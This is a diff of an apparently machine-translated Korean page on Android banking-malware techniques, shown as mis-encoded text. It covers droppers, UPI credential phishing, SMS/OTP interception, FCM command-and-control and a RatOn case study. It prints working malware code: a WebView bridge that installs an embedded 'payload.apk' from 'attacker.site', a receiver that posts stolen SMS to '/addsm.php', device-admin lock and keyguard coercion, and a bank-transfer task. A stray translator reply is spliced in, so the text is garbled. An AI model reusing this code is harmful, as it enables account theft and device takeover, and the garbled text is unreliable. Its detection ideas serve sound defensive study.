์•…์„ฑ์ฝ”๋“œ๋ฅผ `assets/app.apk`์— ๋ฐฐ์†กํ•˜๊ณ  ์‚ฌ์šฉ์ž๊ฐ€ ํด๋ผ์šฐ๋“œ ํƒ์ง€๋ฅผ ๋ฌด๋ ฅํ™”ํ•˜๊ธฐ ์œ„ํ•ด Wiโ€‘Fi/๋ชจ๋ฐ”์ผ ๋ฐ์ดํ„ฐ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋„๋ก ์œ ๋„ํ•˜๋Š” ์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ(๋“œ๋กœํผ)์ž…๋‹ˆ๋‹ค. -- ์ž„๋ฒ ๋””๋“œ ํŽ˜์ด๋กœ๋“œ๋Š” ๋ฌดํ•ดํ•œ ๋ ˆ์ด๋ธ”(์˜ˆ: โ€œ๋ณด์•ˆ ์—…๋ฐ์ดํŠธโ€) ์•„๋ž˜์— ์„ค์น˜๋ฉ๋‹ˆ๋‹ค. ์„ค์น˜ ํ›„, ์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ๊ณผ ํŽ˜์ด๋กœ๋“œ๋Š” ๋ณ„๋„์˜ ์•ฑ์œผ๋กœ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. +### Dropper with embedded payload and offline install +- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable Wiโ€‘Fi/mobile data to blunt cloud detection. +- The embedded payload installs under an innocuous label (e.g., โ€œSecure Updateโ€). After install, both the installer and the payload are present as separate apps. -์ •์  ๋ถ„๋ฅ˜ ํŒ (์ž„๋ฒ ๋””๋“œ ํŽ˜์ด๋กœ๋“œ ๊ฒ€์ƒ‰): +์ •์  ๋ถ„์„ ํŒ (grep for embedded payloads): ```bash unzip -l sample.apk | grep -i "assets/app.apk" # Or: zipgrep -i "classes|.apk" sample.apk | head ``` -### ๋‹จ๊ธฐ ๋งํฌ๋ฅผ ํ†ตํ•œ ๋™์  ์—”๋“œํฌ์ธํŠธ ๋ฐœ๊ฒฌ -- ์•…์„ฑ ์†Œํ”„ํŠธ์›จ์–ด๋Š” ๋‹จ๊ธฐ ๋งํฌ์—์„œ ์‹ค์‹œ๊ฐ„ ์—”๋“œํฌ์ธํŠธ์˜ ์ผ๋ฐ˜ ํ…์ŠคํŠธ, ์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ ๋ชฉ๋ก์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค; ๊ฐ„๋‹จํ•œ ๋ฌธ์ž์—ด ๋ณ€ํ™˜์œผ๋กœ ์ตœ์ข… ํ”ผ์‹ฑ ํŽ˜์ด์ง€ ๊ฒฝ๋กœ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. +### ๋‹จ์ถ• ๋งํฌ๋ฅผ ํ†ตํ•œ ๋™์  ์—”๋“œํฌ์ธํŠธ ๋ฐœ๊ฒฌ +- Malware๋Š” ๋‹จ์ถ• ๋งํฌ์—์„œ ์ผ๋ฐ˜ ํ…์ŠคํŠธ(์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ) ํ™œ์„ฑ ์—”๋“œํฌ์ธํŠธ ๋ชฉ๋ก์„ ๊ฐ€์ ธ์˜ค๋ฉฐ; ๊ฐ„๋‹จํ•œ ๋ฌธ์ž์—ด ๋ณ€ํ™˜์œผ๋กœ ์ตœ์ข… phishing ํŽ˜์ด์ง€ ๊ฒฝ๋กœ๋ฅผ ์ƒ์„ฑํ•œ๋‹ค. -์˜ˆ์‹œ (์ •๋ฆฌ๋จ): +์˜ˆ์‹œ(์ต๋ช… ์ฒ˜๋ฆฌ๋จ): ``` GET https://rebrand.ly/dclinkto2 Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php @@ -127,27 +126,27 @@ String upiPage = parts[0].replace("gate.html", "gate.htm"); String smsPost = parts[1]; String credsPost = upiPage.replace("gate.htm", "addup.php"); ``` -### WebView ๊ธฐ๋ฐ˜ UPI ์ž๊ฒฉ ์ฆ๋ช… ์ˆ˜์ง‘ -- โ€œโ‚น1 / UPIโ€‘Lite ๊ฒฐ์ œํ•˜๊ธฐโ€ ๋‹จ๊ณ„๋Š” WebView ๋‚ด์˜ ๋™์  ์—”๋“œํฌ์ธํŠธ์—์„œ ๊ณต๊ฒฉ์ž์˜ HTML ์–‘์‹์„ ๋กœ๋“œํ•˜๊ณ  ๋ฏผ๊ฐํ•œ ํ•„๋“œ(์ „ํ™”, ์€ํ–‰, UPI PIN)๋ฅผ ์บก์ฒ˜ํ•˜์—ฌ `addup.php`๋กœ `POST`ํ•ฉ๋‹ˆ๋‹ค. +### WebView-based UPI credential harvesting +- โ€œMake payment of โ‚น1 / UPIโ€‘Liteโ€ ๋‹จ๊ณ„๋Š” WebView ๋‚ด๋ถ€์—์„œ ๋™์  ์—”๋“œํฌ์ธํŠธ๋กœ๋ถ€ํ„ฐ ๊ณต๊ฒฉ์ž HTML ํผ์„ ๋กœ๋“œํ•˜๊ณ  ๋ฏผ๊ฐํ•œ ํ•„๋“œ(์ „ํ™”๋ฒˆํ˜ธ, ์€ํ–‰, UPI PIN)๋ฅผ ์บก์ฒ˜ํ•œ ๋’ค ์ด๋ฅผ `POST`๋กœ `addup.php`์— ์ „์†กํ•ฉ๋‹ˆ๋‹ค. -์ตœ์†Œ ๋กœ๋”: +๊ฐ„๋‹จํ•œ ๋กœ๋”: ```java WebView wv = findViewById(R.id.web); wv.getSettings().setJavaScriptEnabled(true); wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm ``` -### ์ž๊ธฐ ์ „ํŒŒ ๋ฐ SMS/OTP ๊ฐ€๋กœ์ฑ„๊ธฐ -- ์ฒซ ์‹คํ–‰ ์‹œ ๊ณต๊ฒฉ์ ์ธ ๊ถŒํ•œ ์š”์ฒญ: +### Self-propagation and SMS/OTP interception +- ์ตœ์ดˆ ์‹คํ–‰ ์‹œ ๊ณผ๋„ํ•œ ๊ถŒํ•œ์„ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค: ```xml <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.CALL_PHONE"/> ``` -- ์—ฐ๋ฝ์ฒ˜๋Š” ํ”ผํ•ด์ž์˜ ์žฅ์น˜์—์„œ ์Šค๋ฏธ์‹ฑ SMS๋ฅผ ๋Œ€๋Ÿ‰ ์ „์†กํ•˜๊ธฐ ์œ„ํ•ด ๋ฃจํ”„๋ฉ๋‹ˆ๋‹ค. -- ์ˆ˜์‹ ๋œ SMS๋Š” ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ ๋ฆฌ์‹œ๋ฒ„์— ์˜ํ•ด ๊ฐ€๋กœ์ฑ„์–ด์ง€๊ณ  ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ(๋ฐœ์‹ ์ž, ๋ณธ๋ฌธ, SIM ์Šฌ๋กฏ, ์žฅ์น˜๋ณ„ ๋žœ๋ค ID)์™€ ํ•จ๊ป˜ `/addsm.php`์— ์—…๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. +- ์—ฐ๋ฝ์ฒ˜๋ฅผ ๋ฐ˜๋ณต ์ฒ˜๋ฆฌํ•˜์—ฌ ํ”ผํ•ด์ž ๊ธฐ๊ธฐ์—์„œ smishing SMS๋ฅผ ๋Œ€๋Ÿ‰ ๋ฐœ์†กํ•ฉ๋‹ˆ๋‹ค. +- ์ˆ˜์‹  SMS๋Š” broadcast receiver์— ์˜ํ•ด ๊ฐ€๋กœ์ฑ„์ ธ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ(๋ฐœ์‹ ์ž, ๋ณธ๋ฌธ, SIM ์Šฌ๋กฏ, ๊ธฐ๊ธฐ๋ณ„ ๋žœ๋ค ID)์™€ ํ•จ๊ป˜ `/addsm.php`๋กœ ์—…๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. -Receiver sketch: +๋ฆฌ์‹œ๋ฒ„ ์Šค์ผ€์น˜: ```java public void onReceive(Context c, Intent i){ SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i); @@ -161,10 +160,10 @@ postForm(urlAddSms, new FormBody.Builder() } } ``` -### Firebase Cloud Messaging (FCM) as resilient C2 -- ํŽ˜์ด๋กœ๋“œ๋Š” FCM์— ๋“ฑ๋ก๋ฉ๋‹ˆ๋‹ค; ํ‘ธ์‹œ ๋ฉ”์‹œ์ง€๋Š” ๋™์ž‘์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” `_type` ํ•„๋“œ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: ํ”ผ์‹ฑ ํ…์ŠคํŠธ ํ…œํ”Œ๋ฆฟ ์—…๋ฐ์ดํŠธ, ํ–‰๋™ ์ „ํ™˜). +### Firebase Cloud Messaging (FCM)๋ฅผ ๋ณต์›๋ ฅ ์žˆ๋Š” C2๋กœ ์‚ฌ์šฉ +- Payload๋Š” FCM์— ๋“ฑ๋ก๋˜๋ฉฐ; ํ‘ธ์‹œ ๋ฉ”์‹œ์ง€๋Š” ์•ก์…˜์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ ์œ„ํ•ด ์Šค์œ„์น˜๋กœ ์‚ฌ์šฉ๋˜๋Š” `_type` ํ•„๋“œ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: phishing ํ…์ŠคํŠธ ํ…œํ”Œ๋ฆฟ ์—…๋ฐ์ดํŠธ, ๋™์ž‘ ํ† ๊ธ€). -Example FCM payload: +์˜ˆ์‹œ FCM payload: ```json { "to": "<device_fcm_token>", @@ -186,27 +185,177 @@ case "smish": sendSmishToContacts(); break; } } ``` -### ์‚ฌ๋ƒฅ ํŒจํ„ด ๋ฐ IOC -- APK๋Š” `assets/app.apk`์— ๋ณด์กฐ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. -- WebView๋Š” `gate.htm`์—์„œ ๊ฒฐ์ œ๋ฅผ ๋กœ๋“œํ•˜๊ณ  `/addup.php`๋กœ ์œ ์ถœํ•ฉ๋‹ˆ๋‹ค. -- SMS ์œ ์ถœ์€ `/addsm.php`๋กœ ์ง„ํ–‰๋ฉ๋‹ˆ๋‹ค. -- ๋‹จ์ถ• ๋งํฌ ๊ธฐ๋ฐ˜ ๊ตฌ์„ฑ ๊ฐ€์ ธ์˜ค๊ธฐ (์˜ˆ: `rebrand.ly/*`)๊ฐ€ CSV ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. -- ์ผ๋ฐ˜ โ€œ์—…๋ฐ์ดํŠธ/๋ณด์•ˆ ์—…๋ฐ์ดํŠธโ€๋กœ ๋ผ๋ฒจ์ด ๋ถ™์€ ์•ฑ๋“ค. -- ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์•ฑ์—์„œ `_type` ๊ตฌ๋ถ„์ž๊ฐ€ ์žˆ๋Š” FCM `data` ๋ฉ”์‹œ์ง€. +### Hunting patterns and IOCs +- APK contains secondary payload at `assets/app.apk` +- WebView loads payment from `gate.htm` and exfiltrates to `/addup.php` +- SMS exfiltration to `/addsm.php` +- Shortlink-driven config fetch (e.g., `rebrand.ly/*`) returning CSV endpoints +- Apps labelled as generic โ€œUpdate/Secure Updateโ€ +- FCM `data` messages with a `_type` discriminator in untrusted apps -### ํƒ์ง€ ๋ฐ ๋ฐฉ์–ด ์•„์ด๋””์–ด -- ์„ค์น˜ ์ค‘ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋„คํŠธ์›Œํฌ ๋น„ํ™œ์„ฑํ™”๋ฅผ ์ง€์‹œํ•˜๊ณ  `assets/`์—์„œ ๋‘ ๋ฒˆ์งธ APK๋ฅผ ์‚ฌ์ด๋“œ ๋กœ๋“œํ•˜๋„๋ก ํ•˜๋Š” ์•ฑ์— ํ”Œ๋ž˜๊ทธ๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. -- ๊ถŒํ•œ ํŠœํ”Œ: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView ๊ธฐ๋ฐ˜ ๊ฒฐ์ œ ํ๋ฆ„์— ๋Œ€ํ•œ ๊ฒฝ๊ณ . -- ๋น„๊ธฐ์—… ํ˜ธ์ŠคํŠธ์—์„œ `POST /addup.php|/addsm.php`์— ๋Œ€ํ•œ ์ด๊ทธ๋ ˆ์Šค ๋ชจ๋‹ˆํ„ฐ๋ง; ์•Œ๋ ค์ง„ ์ธํ”„๋ผ ์ฐจ๋‹จ. -- ๋ชจ๋ฐ”์ผ EDR ๊ทœ์น™: FCM์— ๋“ฑ๋กํ•˜๊ณ  `_type` ํ•„๋“œ์— ๋”ฐ๋ผ ๋ถ„๊ธฐํ•˜๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์•ฑ. +### Detection & defence ideas +- ์„ค์น˜ ์ค‘ ๋„คํŠธ์›Œํฌ ๋น„ํ™œ์„ฑํ™”๋ฅผ ์ง€์‹œํ•œ ๋’ค `assets/`์—์„œ ๋‘ ๋ฒˆ์งธ APK๋ฅผ ์‚ฌ์ด๋“œ๋กœ๋“œํ•˜๋Š” ์•ฑ ํ‘œ์‹œ +- ๋‹ค์Œ ๊ถŒํ•œ ํŠœํ”Œ์— ๋Œ€ํ•ด ๊ฒฝ๊ณ : `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView ๊ธฐ๋ฐ˜ ๊ฒฐ์ œ ํ๋ฆ„ +- ๋น„๊ธฐ์—… ํ˜ธ์ŠคํŠธ์—์„œ `POST /addup.php|/addsm.php`์— ๋Œ€ํ•œ egress ๋ชจ๋‹ˆํ„ฐ๋ง; ์•Œ๋ ค์ง„ ์ธํ”„๋ผ ์ฐจ๋‹จ +- Mobile EDR ๊ทœ์น™: ์‹ ๋ขฐ๋˜์ง€ ์•Š์€ ์•ฑ์ด FCM์— ๋“ฑ๋กํ•˜๊ณ  `_type` ํ•„๋“œ๋กœ ๋ถ„๊ธฐํ•˜๋Š” ๊ฒฝ์šฐ --- -## ์ฐธ์กฐ +## Android Accessibility/Overlay & Device Admin ์•…์šฉ, ATS ์ž๋™ํ™” ๋ฐ NFC ์ค‘๊ณ„ ์˜ค์ผ€์ŠคํŠธ๋ ˆ์ด์…˜ โ€“ RatOn ์‚ฌ๋ก€ ์—ฐ๊ตฌ + +The RatOn banker/RAT campaign (ThreatFabric)์€ ํ˜„๋Œ€ ๋ชจ๋ฐ”์ผ ํ”ผ์‹ฑ ์ž‘์ „์ด WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, ์‹ฌ์ง€์–ด NFC-relay orchestration์„ ๊ฒฐํ•ฉํ•˜๋Š” ๊ตฌ์ฒด์  ์˜ˆ์‹œ๋‹ค. ์ด ์„น์…˜์€ ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ธฐ์ˆ ์„ ์ถ”์ƒํ™”ํ•œ๋‹ค. + +### Stage-1: WebView โ†’ ๋„ค์ดํ‹ฐ๋ธŒ ์„ค์น˜ ๋ธŒ๋ฆฌ์ง€ (dropper) +๊ณต๊ฒฉ์ž๋Š” ๊ณต๊ฒฉ์ž ํŽ˜์ด์ง€๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” WebView๋ฅผ ํ‘œ์‹œํ•˜๊ณ  native installer๋ฅผ ๋…ธ์ถœํ•˜๋Š” JavaScript interface๋ฅผ ์ฃผ์ž…ํ•œ๋‹ค. HTML ๋ฒ„ํŠผ์„ ํƒญํ•˜๋ฉด ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ๊ฐ€ ํ˜ธ์ถœ๋˜์–ด dropper์˜ assets์— ๋ฒˆ๋“ค๋œ 2๋‹จ๊ณ„ APK๋ฅผ ์„ค์น˜ํ•˜๊ณ  ์ฆ‰์‹œ ์‹คํ–‰ํ•œ๋‹ค. + +Minimal pattern: +```java +public class DropperActivity extends Activity { +@Override protected void onCreate(Bundle b){ +super.onCreate(b); +WebView wv = new WebView(this); +wv.getSettings().setJavaScriptEnabled(true); +wv.addJavascriptInterface(new Object(){ +@android.webkit.JavascriptInterface +public void installApk(){ +try { +PackageInstaller pi = getPackageManager().getPackageInstaller(); +PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL); +int id = pi.createSession(p); +try (PackageInstaller.Session s = pi.openSession(id); +InputStream in = getAssets().open("payload.apk"); +OutputStream out = s.openWrite("base.apk", 0, -1)){ +byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out); +} +PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE); +pi.commit(id, status.getIntentSender()); +} catch (Exception e) { /* log */ } +} +}, "bridge"); +setContentView(wv); +wv.loadUrl("https://attacker.site/install.html"); +} +} +``` +HTML ๋˜๋Š” ๋งˆํฌ๋‹ค์šด ๋‚ด์šฉ์„ ๋ถ™์—ฌ ๋„ฃ์–ด ์ฃผ์„ธ์š”. ๊ทธ๋Ÿฌ๋ฉด ํ•ด๋‹น ๋‚ด์šฉ์„ ๊ทœ์น™์— ๋งž์ถฐ ํ•œ๊ตญ์–ด๋กœ ๋ฒˆ์—ญํ•ด ๋“œ๋ฆฌ๊ฒ ์Šต๋‹ˆ๋‹ค. +```html +<button onclick="bridge.installApk()">Install</button> +``` +์„ค์น˜ ํ›„ dropper๋Š” explicit package/activity๋ฅผ ํ†ตํ•ด payload๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค: +```java +Intent i = new Intent(); +i.setClassName("com.stage2.core", "com.stage2.core.MainActivity"); +startActivity(i); +``` +ํ—ŒํŒ… ์•„์ด๋””์–ด: ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์•ฑ์ด `addJavascriptInterface()`๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  WebView์— ์ธ์Šคํ†จ๋Ÿฌ์™€ ์œ ์‚ฌํ•œ ๋ฉ”์„œ๋“œ๋ฅผ ๋…ธ์ถœํ•˜๋Š” ๊ฒฝ์šฐ; APK๊ฐ€ `assets/` ์•„๋ž˜์— ํฌํ•จ๋œ 2์ฐจ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํฌํ•จํ•ด ๋ฐฐํฌํ•˜๊ณ  Package Installer Session API๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒฝ์šฐ. + +### Consent funnel: Accessibility + Device Admin + follow-on runtime prompts +Stage-2์—์„œ๋Š” โ€œAccessโ€ ํŽ˜์ด์ง€๋ฅผ ํ˜ธ์ŠคํŒ…ํ•˜๋Š” WebView๋ฅผ ์—ฐ๋‹ค. ๊ทธ ๋ฒ„ํŠผ์€ ํ”ผํ•ด์ž๋ฅผ Accessibility ์„ค์ •์œผ๋กœ ์ด๋™์‹œํ‚ค๊ณ  ์•…์„ฑ ์„œ๋น„์Šค๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋„๋ก ์š”์ฒญํ•˜๋Š” exported ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค. ์ผ๋‹จ ํ—ˆ์šฉ๋˜๋ฉด, ์•…์„ฑ์ฝ”๋“œ๋Š” Accessibility๋ฅผ ์‚ฌ์šฉํ•ด ์ดํ›„ ๋Ÿฐํƒ€์ž„ ๊ถŒํ•œ ๋Œ€ํ™”์ƒ์ž(contacts, overlay, manage system settings ๋“ฑ)๋ฅผ ์ž๋™์œผ๋กœ ํด๋ฆญํ•˜๊ณ  Device Admin์„ ์š”์ฒญํ•œ๋‹ค. + +- Accessibility๋Š” ๋…ธ๋“œ ํŠธ๋ฆฌ์—์„œ โ€œAllowโ€/โ€œOKโ€ ๊ฐ™์€ ๋ฒ„ํŠผ์„ ์ฐพ์•„ ํด๋ฆญ์„ ๋””์ŠคํŒจ์น˜ํ•˜์—ฌ ์ดํ›„ ํ”„๋กฌํ”„ํŠธ๋ฅผ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ๋ฐฉ์‹์œผ๋กœ ์Šน์ธํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค€๋‹ค. +- Overlay permission check/request: +```java +if (!Settings.canDrawOverlays(ctx)) { +Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, +Uri.parse("package:" + ctx.getPackageName())); +ctx.startActivity(i); +} +``` +์ฐธ๊ณ : + +{{#ref}} +../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +{{#endref}} + +### WebView๋ฅผ ์ด์šฉํ•œ ์˜ค๋ฒ„๋ ˆ์ด ํ”ผ์‹ฑ/๋žœ์„ฌ +์šด์˜์ž๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ช…๋ น์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Œ: +- URL์—์„œ ์ „์ฒด ํ™”๋ฉด ์˜ค๋ฒ„๋ ˆ์ด๋ฅผ ๋ Œ๋”๋งํ•˜๊ฑฐ๋‚˜, +- WebView ์˜ค๋ฒ„๋ ˆ์ด์— ๋กœ๋“œ๋˜๋Š” ์ธ๋ผ์ธ HTML์„ ์ „๋‹ฌ. + +์‚ฌ์šฉ ์˜ˆ: ๊ฐ•์š”(coercion) (PIN ์ž…๋ ฅ), wallet ์—ด๊ธฐ๋กœ PIN ํƒˆ์ทจ, ๋žœ์„ฌ ๋ฉ”์‹œ์ง€ ์ „์†ก. ์˜ค๋ฒ„๋ ˆ์ด ๊ถŒํ•œ์ด ์—†์œผ๋ฉด ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ช…๋ น์„ ์œ ์ง€. + +### Remote control model โ€“ text pseudo-screen + screen-cast +- Low-bandwidth: ์ฃผ๊ธฐ์ ์œผ๋กœ Accessibility node tree๋ฅผ ๋คํ”„ํ•˜๊ณ , ๋ณด์ด๋Š” ํ…์ŠคํŠธ/role/์˜์—ญ(bounds)์„ ์ง๋ ฌํ™”ํ•˜์—ฌ pseudo-screen์œผ๋กœ C2์— ์ „์†ก (์˜ˆ: `txt_screen`์€ ์ผํšŒ์„ฑ, `screen_live`๋Š” ์ง€์†). +- High-fidelity: MediaProjection์„ ์š”์ฒญํ•˜๊ณ  ํ•„์š” ์‹œ screen-casting/recording์„ ์‹œ์ž‘ (์˜ˆ: `display` / `record`). + +### ATS playbook (bank app automation) +JSON ์ž‘์—…์ด ์ฃผ์–ด์ง€๋ฉด, ์€ํ–‰ ์•ฑ์„ ์—ด๊ณ  Accessibility๋ฅผ ํ†ตํ•ด ํ…์ŠคํŠธ ์ฟผ๋ฆฌ์™€ ์ขŒํ‘œ ํƒญ์„ ํ˜ผํ•ฉํ•ด UI๋ฅผ ์กฐ์ž‘ํ•˜๋ฉฐ, ์ž…๋ ฅ์„ ์š”๊ตฌํ•˜๋ฉด ํ”ผํ•ด์ž์˜ ๊ฒฐ์ œ PIN์„ ์ž…๋ ฅ. + +์˜ˆ์‹œ ์ž‘์—…: +```json +{ +"cmd": "transfer", +"receiver_address": "ACME s.r.o.", +"account": "123456789/0100", +"amount": "24500.00", +"name": "ACME" +} +``` +ํ•œ ํƒ€๊นƒ ํ”Œ๋กœ์šฐ์—์„œ ํ™•์ธ๋œ ์˜ˆ์‹œ ํ…์ŠคํŠธ (CZ โ†’ EN): +- "Novรก platba" โ†’ "์ƒˆ ๊ฒฐ์ œ" +- "Zadat platbu" โ†’ "๊ฒฐ์ œ ์ž…๋ ฅ" +- "Novรฝ pล™รญjemce" โ†’ "์ƒˆ ์ˆ˜์ทจ์ธ" +- "Domรกcรญ ฤรญslo รบฤtu" โ†’ "๊ตญ๋‚ด ๊ณ„์ขŒ๋ฒˆํ˜ธ" +- "Dalลกรญ" โ†’ "๋‹ค์Œ" +- "Odeslat" โ†’ "๋ณด๋‚ด๊ธฐ" +- "Ano, pokraฤovat" โ†’ "์˜ˆ, ๊ณ„์†" +- "Zaplatit" โ†’ "๊ฒฐ์ œํ•˜๊ธฐ" +- "Hotovo" โ†’ "์™„๋ฃŒ" + +์šด์˜์ž๋Š” `check_limit` ๋ฐ `limit` ๊ฐ™์€ ๋ช…๋ น์„ ํ†ตํ•ด ํ•œ๋„ UI๋ฅผ ์œ ์‚ฌํ•˜๊ฒŒ ํƒ์ƒ‰ํ•˜์—ฌ ์ด์ฒด ํ•œ๋„๋ฅผ ํ™•์ธํ•˜๊ฑฐ๋‚˜ ์ƒํ–ฅ ์กฐ์ •ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. + +### Crypto wallet seed extraction +MetaMask, Trust Wallet, Blockchain.com, Phantom ๊ฐ™์€ ๋Œ€์ƒ. ํ๋ฆ„: unlock(๋„๋‚œ๋‹นํ•œ PIN ๋˜๋Š” ์ œ๊ณต๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ), Security/Recovery๋กœ ์ด๋™ํ•ด reveal/show seed phrase๋ฅผ ํ‘œ์‹œํ•˜๊ณ , keylog/exfiltrateํ•ฉ๋‹ˆ๋‹ค. EN/RU/CZ/SK ์–ธ์–ด์— ๋งž์ถ˜ locale-aware selectors๋ฅผ ๊ตฌํ˜„ํ•˜์—ฌ ๋‹ค๊ตญ์–ด์—์„œ์˜ ํƒ์ƒ‰์„ ์•ˆ์ •ํ™”ํ•˜์„ธ์š”. + +### Device Admin coercion +Device Admin APIs๋Š” PIN-capture ๊ธฐํšŒ๋ฅผ ๋Š˜๋ฆฌ๊ณ  ํ”ผํ•ด์ž๋ฅผ ๋ฐฉํ•ดํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค: + +- ์ฆ‰์‹œ ์ž ๊ธˆ: +```java +dpm.lockNow(); +``` +- ํ˜„์žฌ ์ž๊ฒฉ ์ฆ๋ช…์„ ๋งŒ๋ฃŒ์‹œ์ผœ ๋ณ€๊ฒฝ์„ ๊ฐ•์ œ (Accessibility๊ฐ€ ์ƒˆ PIN/password๋ฅผ ์บก์ฒ˜): +```java +dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner +``` +- keyguard์˜ ์ƒ์ฒด ์ธ์ฆ ๊ธฐ๋Šฅ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ ๋น„์ƒ์ฒด ์ž ๊ธˆ ํ•ด์ œ๋ฅผ ๊ฐ•์ œ: +```java +dpm.setKeyguardDisabledFeatures(admin, +DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | +DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS); +``` +์ฐธ๊ณ : ๋งŽ์€ DevicePolicyManager ์ œ์–ด๋Š” ์ตœ๊ทผ Android์—์„œ Device Owner/Profile Owner๋ฅผ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค; ์ผ๋ถ€ OEM ๋นŒ๋“œ๋Š” ๋А์Šจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ญ์ƒ ๋Œ€์ƒ OS/OEM์—์„œ ๊ฒ€์ฆํ•˜์„ธ์š”. + +### NFC ๋ฆด๋ ˆ์ด ์˜ค์ผ€์ŠคํŠธ๋ ˆ์ด์…˜ (NFSkate) +Stage-3์€ ์™ธ๋ถ€ NFC-relay ๋ชจ๋“ˆ(์˜ˆ: NFSkate)์„ ์„ค์น˜ํ•˜๊ณ  ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ๋ฆด๋ ˆ์ด ๋™์•ˆ ํ”ผํ•ด์ž๋ฅผ ์•ˆ๋‚ดํ•˜๊ธฐ ์œ„ํ•œ HTML ํ…œํ”Œ๋ฆฟ์„ ์ „๋‹ฌํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” contactless card-present cash-out์„ ์˜จ๋ผ์ธ ATS์™€ ํ•จ๊ป˜ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. + +๋ฐฐ๊ฒฝ: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay). + +### Operator ๋ช…๋ น ์„ธํŠธ (์ƒ˜ํ”Œ) +- UI/state: `txt_screen`, `screen_live`, `display`, `record` +- Social: `send_push`, `Facebook`, `WhatsApp` +- Overlays: `overlay` (์ธ๋ผ์ธ HTML), `block` (URL), `block_off`, `access_tint` +- Wallets: `metamask`, `trust`, `blockchain`, `phantom` +- ATS: `transfer`, `check_limit`, `limit` +- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound` +- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact` +- NFC: `nfs`, `nfs_inject` + +### ํƒ์ง€ ๋ฐ ๋ฐฉ์–ด ์•„์ด๋””์–ด (RatOn ์Šคํƒ€์ผ) +- WebViews์—์„œ `addJavascriptInterface()`๋กœ installer/permission ๋ฉ”์„œ๋“œ๋ฅผ ๋…ธ์ถœํ•˜๋Š” 